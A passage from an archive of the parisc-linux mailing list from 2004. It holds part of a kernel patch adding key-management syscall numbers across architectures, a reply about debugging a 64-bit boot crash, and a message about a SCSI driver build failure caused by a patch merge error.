 /*
  * The following SWIs are ARM private.
diff -uNrp linux-2.6.9-bk4/include/asm-cris/unistd.h linux-2.6.9-bk4-keys/include/asm-cris/unistd.h
--- linux-2.6.9-bk4/include/asm-cris/unistd.h	2004-06-18 13:44:05.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-cris/unistd.h	2004-10-20 14:16:21.025897563 +0100
@@ -288,8 +288,11 @@
 #define __NR_mq_timedreceive	(__NR_mq_open+3)
 #define __NR_mq_notify		(__NR_mq_open+4)
 #define __NR_mq_getsetattr	(__NR_mq_open+5)
+#define __NR_add_key		283
+#define __NR_request_key	284
+#define __NR_keyctl		285
  
-#define NR_syscalls 283
+#define NR_syscalls 286
 
 
 #ifdef __KERNEL__
diff -uNrp linux-2.6.9-bk4/include/asm-h8300/unistd.h linux-2.6.9-bk4-keys/include/asm-h8300/unistd.h
--- linux-2.6.9-bk4/include/asm-h8300/unistd.h	2004-06-18 13:44:05.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-h8300/unistd.h	2004-10-20 15:01:16.446016959 +0100
@@ -269,8 +269,11 @@
 #define __NR_clock_gettime	(__NR_timer_create+6)
 #define __NR_clock_getres	(__NR_timer_create+7)
 #define __NR_clock_nanosleep	(__NR_timer_create+8)
+#define __NR_add_key		274
+#define __NR_request_key	275
+#define __NR_keyctl		276
 
-#define NR_syscalls 268
+#define NR_syscalls 277
 
 
 /* user-visible error numbers are in the range -1 - -122: see
diff -uNrp linux-2.6.9-bk4/include/asm-ia64/unistd.h linux-2.6.9-bk4-keys/include/asm-ia64/unistd.h
--- linux-2.6.9-bk4/include/asm-ia64/unistd.h	2004-10-20 14:03:14.832904952 +0100
+++ linux-2.6.9-bk4-keys/include/asm-ia64/unistd.h	2004-10-20 14:14:59.746996878 +0100
@@ -260,6 +260,9 @@
 #define __NR_kexec_load			1268
 #define __NR_vserver			1269
 #define __NR_setaltroot			1270
+#define __NR_add_key			1271
+#define __NR_request_key		1272
+#define __NR_keyctl			1273
 
 #ifdef __KERNEL__
 
diff -uNrp linux-2.6.9-bk4/include/asm-m32r/unistd.h linux-2.6.9-bk4-keys/include/asm-m32r/unistd.h
--- linux-2.6.9-bk4/include/asm-m32r/unistd.h	2004-10-19 10:42:13.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-m32r/unistd.h	2004-10-20 14:14:34.284222397 +0100
@@ -294,8 +294,11 @@
 #define __NR_mq_getsetattr      (__NR_mq_open+5)
 #define __NR_sys_kexec_load    283
 #define __NR_waitid            284
+#define __NR_add_key		285
+#define __NR_request_key	286
+#define __NR_keyctl		287
 
-#define NR_syscalls 285
+#define NR_syscalls 288
 
 /* user-visible error numbers are in the range -1 - -124: see
  * <asm-m32r/errno.h>
diff -uNrp linux-2.6.9-bk4/include/asm-m68k/unistd.h linux-2.6.9-bk4-keys/include/asm-m68k/unistd.h
--- linux-2.6.9-bk4/include/asm-m68k/unistd.h	2004-06-18 13:44:05.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-m68k/unistd.h	2004-10-20 14:14:06.358663984 +0100
@@ -238,8 +238,11 @@
 #define __NR_lremovexattr	233
 #define __NR_fremovexattr	234
 #define __NR_futex		235
+#define __NR_add_key		236
+#define __NR_request_key	237
+#define __NR_keyctl		238
 
-#define NR_syscalls		236
+#define NR_syscalls		239
 
 /* user-visible error numbers are in the range -1 - -124: see
    <asm-m68k/errno.h> */
diff -uNrp linux-2.6.9-bk4/include/asm-mips/unistd.h linux-2.6.9-bk4-keys/include/asm-mips/unistd.h
--- linux-2.6.9-bk4/include/asm-mips/unistd.h	2004-09-16 12:06:18.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-mips/unistd.h	2004-10-20 14:12:31.321979696 +0100
@@ -298,16 +298,19 @@
 #define __NR_mq_notify			(__NR_Linux + 275)
 #define __NR_mq_getsetattr		(__NR_Linux + 276)
 #define __NR_vserver			(__NR_Linux + 277)
+#define __NR_add_key			(__NR_Linux + 278)
+#define __NR_request_key		(__NR_Linux + 279)
+#define __NR_keyctl			(__NR_Linux + 280)
 
 /*
  * Offset of the last Linux o32 flavoured syscall
  */
-#define __NR_Linux_syscalls		277
+#define __NR_Linux_syscalls		280
 
 #endif /* _MIPS_SIM == _MIPS_SIM_ABI32 */
 
 #define __NR_O32_Linux			4000
-#define __NR_O32_Linux_syscalls		277
+#define __NR_O32_Linux_syscalls		280
 
 #if _MIPS_SIM == _MIPS_SIM_ABI64
 
@@ -552,11 +555,14 @@
 #define __NR_mq_notify			(__NR_Linux + 234)
 #define __NR_mq_getsetattr		(__NR_Linux + 235)
 #define __NR_vserver			(__NR_Linux + 236)
+#define __NR_add_key			(__NR_Linux + 237)
+#define __NR_request_key		(__NR_Linux + 238)
+#define __NR_keyctl			(__NR_Linux + 239)
 
 /*
  * Offset of the last Linux flavoured syscall
  */
-#define __NR_Linux_syscalls		236
+#define __NR_Linux_syscalls		239
 
 #endif /* _MIPS_SIM == _MIPS_SIM_ABI64 */
 
@@ -810,11 +816,14 @@
 #define __NR_mq_notify			(__NR_Linux + 238)
 #define __NR_mq_getsetattr		(__NR_Linux + 239)
 #define __NR_vserver			(__NR_Linux + 240)
+#define __NR_add_key			(__NR_Linux + 241)
+#define __NR_request_key		(__NR_Linux + 242)
+#define __NR_keyctl			(__NR_Linux + 243)
 
 /*
  * Offset of the last N32 flavoured syscall
  */
-#define __NR_Linux_syscalls		240
+#define __NR_Linux_syscalls		243
 
 #endif /* _MIPS_SIM == _MIPS_SIM_NABI32 */
 
diff -uNrp linux-2.6.9-bk4/include/asm-parisc/unistd.h linux-2.6.9-bk4-keys/include/asm-parisc/unistd.h
--- linux-2.6.9-bk4/include/asm-parisc/unistd.h	2004-09-16 12:06:18.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-parisc/unistd.h	2004-10-20 14:11:00.896901332 +0100
@@ -727,8 +727,11 @@
 #define __NR_mq_timedreceive    (__NR_Linux + 232)
 #define __NR_mq_notify          (__NR_Linux + 233)
 #define __NR_mq_getsetattr      (__NR_Linux + 234)
+#define __NR_add_key		(__NR_Linux + 235)
+#define __NR_request_key	(__NR_Linux + 236)
+#define __NR_keyctl		(__NR_Linux + 237)
 
-#define __NR_Linux_syscalls     235
+#define __NR_Linux_syscalls     238
 
 #define HPUX_GATEWAY_ADDR       0xC0000004
 #define LINUX_GATEWAY_ADDR      0x100
diff -uNrp linux-2.6.9-bk4/include/asm-ppc/unistd.h linux-2.6.9-bk4-keys/include/asm-ppc/unistd.h
--- linux-2.6.9-bk4/include/asm-ppc/unistd.h	2004-06-18 13:44:05.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-ppc/unistd.h	2004-10-20 14:10:32.629379614 +0100
@@ -273,8 +273,11 @@
 #define __NR_mq_notify		266
 #define __NR_mq_getsetattr	267
 #define __NR_kexec_load		268
+#define __NR_add_key		269
+#define __NR_request_key	270
+#define __NR_keyctl		271
 
-#define __NR_syscalls		269
+#define __NR_syscalls		272
 
 #define __NR(n)	#n
 
diff -uNrp linux-2.6.9-bk4/include/asm-ppc64/unistd.h linux-2.6.9-bk4-keys/include/asm-ppc64/unistd.h
--- linux-2.6.9-bk4/include/asm-ppc64/unistd.h	2004-10-19 10:42:14.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-ppc64/unistd.h	2004-10-20 14:10:19.868498694 +0100
@@ -279,8 +279,11 @@
 #define __NR_mq_notify		266
 #define __NR_mq_getsetattr	267
 #define __NR_kexec_load		268
+#define __NR_add_key		269
+#define __NR_request_key	270
+#define __NR_keyctl		271
 
-#define __NR_syscalls		269
+#define __NR_syscalls		272
 #ifdef __KERNEL__
 #define NR_syscalls	__NR_syscalls
 #endif
diff -uNrp linux-2.6.9-bk4/include/asm-s390/unistd.h linux-2.6.9-bk4-keys/include/asm-s390/unistd.h
--- linux-2.6.9-bk4/include/asm-s390/unistd.h	2004-06-18 13:44:05.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-s390/unistd.h	2004-10-20 14:09:39.572899460 +0100
@@ -269,8 +269,11 @@
 #define __NR_mq_timedreceive	274
 #define __NR_mq_notify		275
 #define __NR_mq_getsetattr	276
+#define __NR_add_key		277
+#define __NR_request_key	278
+#define __NR_keyctl		279
 
-#define NR_syscalls 277
+#define NR_syscalls 280
 
 /* 
  * There are some system calls that are not present on 64 bit, some
diff -uNrp linux-2.6.9-bk4/include/asm-sh/unistd.h linux-2.6.9-bk4-keys/include/asm-sh/unistd.h
--- linux-2.6.9-bk4/include/asm-sh/unistd.h	2004-10-20 14:03:16.058802954 +0100
+++ linux-2.6.9-bk4-keys/include/asm-sh/unistd.h	2004-10-20 14:09:16.465821351 +0100
@@ -290,8 +290,11 @@
 #define __NR_mq_timedreceive    (__NR_mq_open+3)
 #define __NR_mq_notify          (__NR_mq_open+4)
 #define __NR_mq_getsetattr      (__NR_mq_open+5)
+#define __NR_add_key		283
+#define __NR_request_key	284
+#define __NR_keyctl		285
 
-#define NR_syscalls 283
+#define NR_syscalls 286
 
 /* user-visible error numbers are in the range -1 - -124: see <asm-sh/errno.h> */
 
diff -uNrp linux-2.6.9-bk4/include/asm-sh64/unistd.h linux-2.6.9-bk4-keys/include/asm-sh64/unistd.h
--- linux-2.6.9-bk4/include/asm-sh64/unistd.h	2004-09-16 12:06:19.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-sh64/unistd.h	2004-10-20 14:08:45.352409218 +0100
@@ -333,8 +333,11 @@
 #define __NR_mq_timedreceive    (__NR_mq_open+3)
 #define __NR_mq_notify          (__NR_mq_open+4)
 #define __NR_mq_getsetattr      (__NR_mq_open+5)
+#define __NR_add_key		311
+#define __NR_request_key	312
+#define __NR_keyctl		313
 
-#define NR_syscalls 311
+#define NR_syscalls 314
 
 /* user-visible error numbers are in the range -1 - -125: see <asm-sh64/errno.h> */
 
diff -uNrp linux-2.6.9-bk4/include/asm-sparc/unistd.h linux-2.6.9-bk4-keys/include/asm-sparc/unistd.h
--- linux-2.6.9-bk4/include/asm-sparc/unistd.h	2004-10-19 10:42:14.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-sparc/unistd.h	2004-10-20 14:08:05.303740383 +0100
@@ -296,6 +296,9 @@
 #define __NR_mq_notify		277
 #define __NR_mq_getsetattr	278
 #define __NR_waitid		279
+#define __NR_add_key		280
+#define __NR_request_key	281
+#define __NR_keyctl		282
 
 /* WARNING: You MAY NOT add syscall numbers larger than 282, since
  *          all of the syscall tables in the Sparc kernel are
diff -uNrp linux-2.6.9-bk4/include/asm-sparc64/unistd.h linux-2.6.9-bk4-keys/include/asm-sparc64/unistd.h
--- linux-2.6.9-bk4/include/asm-sparc64/unistd.h	2004-10-19 10:42:15.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-sparc64/unistd.h	2004-10-20 14:07:45.586380476 +0100
@@ -298,6 +298,9 @@
 #define __NR_mq_notify		277
 #define __NR_mq_getsetattr	278
 #define __NR_waitid		279
+#define __NR_add_key		280
+#define __NR_request_key	281
+#define __NR_keyctl		282
 
 /* WARNING: You MAY NOT add syscall numbers larger than 282, since
  *          all of the syscall tables in the Sparc kernel are
diff -uNrp linux-2.6.9-bk4/include/asm-v850/unistd.h linux-2.6.9-bk4-keys/include/asm-v850/unistd.h
--- linux-2.6.9-bk4/include/asm-v850/unistd.h	2004-09-16 12:06:20.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-v850/unistd.h	2004-10-20 14:06:45.477380562 +0100
@@ -205,6 +205,9 @@
 #define __NR_pivot_root		200
 #define __NR_gettid		201
 #define __NR_tkill		202
+#define __NR_add_key		203
+#define __NR_request_key	204
+#define __NR_keyctl		205
 
 
 /* Syscall protocol:
diff -uNrp linux-2.6.9-bk4/include/asm-x86_64/unistd.h linux-2.6.9-bk4-keys/include/asm-x86_64/unistd.h
--- linux-2.6.9-bk4/include/asm-x86_64/unistd.h	2004-10-19 10:42:16.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-x86_64/unistd.h	2004-10-20 14:06:01.645026869 +0100
@@ -556,8 +556,14 @@ __SYSCALL(__NR_mq_getsetattr, sys_mq_get
 __SYSCALL(__NR_kexec_load, sys_ni_syscall)
 #define __NR_waitid		247
 __SYSCALL(__NR_waitid, sys_waitid)
+#define __NR_add_key		248
+__SYSCALL(__NR_add_key, sys_add_key)
+#define __NR_request_key	249
+__SYSCALL(__NR_request_key, sys_request_key)
+#define __NR_keyctl		250
+__SYSCALL(__NR_keyctl, sys_keyctl)
 
-#define __NR_syscall_max __NR_waitid
+#define __NR_syscall_max __NR_keyctl
 #ifndef __NO_STUBS
 
 /* user-visible error numbers are in the range -1 - -4095 */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit kernel crashes on my c3600
Date: Wed, 20 Oct 2004 11:24:52 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20041020152450.GW24430@baldric.uwo.ca>
References: <20041019175440.GP16153@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624496 26052 80.91.229.3 (22 Nov 2014 02:48:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:16 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14656 invoked by uid 65534); 20 Oct 2004 15:25:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 20 Oct 2004 17:25:42 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 718CB3BE36; Wed, 20 Oct 2004 09:25:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12137-08; Wed, 20 Oct 2004 09:25:39 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 213253BE3A; Wed, 20 Oct 2004 09:25:22 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 78E6C3BE36
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Oct 2004 09:25:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12137-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Oct 2004 09:25:14 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 22B243BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Oct 2004 09:25:14 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 61F4349483C; Wed, 20 Oct 2004 09:25:10 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id D155E494738
	for <parisc-linux@parisc-linux.org>;
	Wed, 20 Oct 2004 09:25:09 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CKIKa-0004hA-00; Wed, 20 Oct 2004 11:24:52 -0400
Content-Disposition: inline
In-Reply-To: <20041019175440.GP16153@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (13% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24980

On Tue, Oct 19, 2004 at 06:54:40PM +0100, Matthew Wilcox wrote:
> One of the problems with this crash is that enabling EARLY_CONSOLE
> doesn't help.  The exact same configuration boots fine in 32-bit mode.
> I'm building from the same tree (with O=) so there's no question of patch
> skew.  Turning on DISCONTIGMEM does not help.  The HPMC points inside
> the code generated by the save_general macro just past skip_save_ior
> inside the intr_save function in entry.S

This is just before calling handle_interruption, so it looks like you
took an interrupt before something was setup properly?

These sorts of problems are very messy to debug if they are
non-deterministic. Just stick an infinite loop in a portion of code you
expect might be before the HPMC, run, TOC, check, and move the loop.
That's my normal procedure when I had to debug similar stuff to prove
some lws code.
 
> I'm not even sure how to start debugging.  My initial thought is that r29
> seems awfully high to be a good memory address.

Why do you think that?

I'm interested in r2 which is a userspace address. Did this box make it
to userspace?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] New Zalon driver pb.
Date: Thu, 21 Oct 2004 18:52:54 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <4161748000005857@mail-4-bnl.tiscali.it>
References: <4161748000005826@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624496 26054 80.91.229.3 (22 Nov 2014 02:48:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:16 +0000 (UTC)
Cc: PARISC list <parisc-linux@parisc-linux.org>
To: "James Bottomley" <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5073 invoked by uid 65534); 21 Oct 2004 16:53:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 21 Oct 2004 18:53:51 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8FBB83BE3C; Thu, 21 Oct 2004 10:53:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27089-04; Thu, 21 Oct 2004 10:53:39 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C0F1E3BE40; Thu, 21 Oct 2004 10:53:26 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B20523BE2B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Oct 2004 10:53:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26905-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Oct 2004 10:53:10 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1EC033BE36
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Oct 2004 10:53:05 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 88EF849473F; Thu, 21 Oct 2004 10:53:04 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mrq-2.tiscalinet.it (mrq-2.tiscalinet.it [212.123.84.72])
	by palinux.hppa (Postfix) with ESMTP id B3526494738
	for <parisc-linux@parisc-linux.org>;
	Thu, 21 Oct 2004 10:53:03 -0600 (MDT)
Original-Received: from mail-4-bnl.tiscali.it (10.39.115.134) by mrq-2.tiscalinet.it
	(7.0.028) id 4137280B00126CA0; Thu, 21 Oct 2004 18:57:18 +0200
Original-Received: from [57.67.177.33] by mail-4-bnl.tiscali.it with HTTP;
	Thu, 21 Oct 2004 18:52:54 +0200
In-Reply-To: <4161748000005826@mail-4-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24981

Sorry for self reply first,
> 
> 
> Hello James,
> 
> I read the great job you did around scsi stuff and try to implement it
for
> my c110 specialy for 53c700 (narrow se scsi interface).
> 
> All seems to compile fine but it failed to build the kernel because:
>   ld   -o .tmp_vmlinux1 -T arch/parisc/kernel/vmlinux.lds arch/parisc/k=
ernel/head.o
>   init/built-in.o --start-group  usr/built-in.o
>  arch/parisc/mm/built-in.o  arch/parisc/kernel/built-in.o  arch/parisc/=
math-emu/built-in.o
> arch/parisc/kernel/init_task.o  kernel/bu
> ilt-in.o  mm/built-in.o  fs/built-in.o  ipc/built-in.o  security/built-=
in.o
>  crypto/built-in.o  lib/lib.a  arch/parisc/lib/lib.a `gc
> c -print-libgcc-file-name`  lib/built-in.o  arch/parisc/lib/built-in.o
`gcc
> -print-libgcc-file-name`  drivers/built-in.o  sound/buil
> t-in.o  net/built-in.o --end-group
> drivers/built-in.o(.init.text+0x7e2c): In function `zalon7xx_init':
> : undefined reference to `ncr53c8xx_init'
> drivers/built-in.o(.init.text+0x7e54): In function `zalon7xx_init':
> : undefined reference to `ncr53c8xx_exit'
> 
And please accept my appologies: I missed a merge pb:
patching file drivers/scsi/ncr53c8xx.c
Reversed (or previously applied) patch detected!  Assume -R? [n]
Apply anyway? [n]
Skipping patch.
105 out of 105 hunks ignored -- saving rejects to file drivers/scsi/ncr53=
c8xx.c.rej
patching file drivers/scsi/ncr53c8xx.h
Reversed (or previously applied) patch detected!  Assume -R? [n]
Apply anyway? [n]
Skipping patch.
2 out of 2 hunks ignored -- saving rejects to file drivers/scsi/ncr53c8xx=
.h.rej
patching file drivers/scsi/nsp32.c

Oops I just need more work.

Sorry again for inconvenience,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL GO & Light, 2 mois gratuits, profitez-en...
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A more frequent merge methodology
Date: Thu, 21 Oct 2004 19:11:10 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20041021181110.GG16153@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624496 26065 80.91.229.3 (22 Nov 2014 02:48:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2277 invoked by uid 65534); 21 Oct 2004 18:11:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 21 Oct 2004 20:11:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C3D0D3BE36; Thu, 21 Oct 2004 12:11:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27911-08; Thu, 21 Oct 2004 12:11:42 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3C6533BE2E; Thu, 21 Oct 2004 12:11:20 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 172083BE27
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Oct 2004 12:11:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27894-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Oct 2004 12:11:13 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A9BE23BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Oct 2004 12:11:13 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 2A44A49473F; Thu, 21 Oct 2004 12:11:13 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 6C41A494738
	for <parisc-linux@parisc-linux.org>;
	Thu, 21 Oct 2004 12:11:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CKhP4-0000yn-L9
	for parisc-linux@parisc-linux.org; Thu, 21 Oct 2004 19:11:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
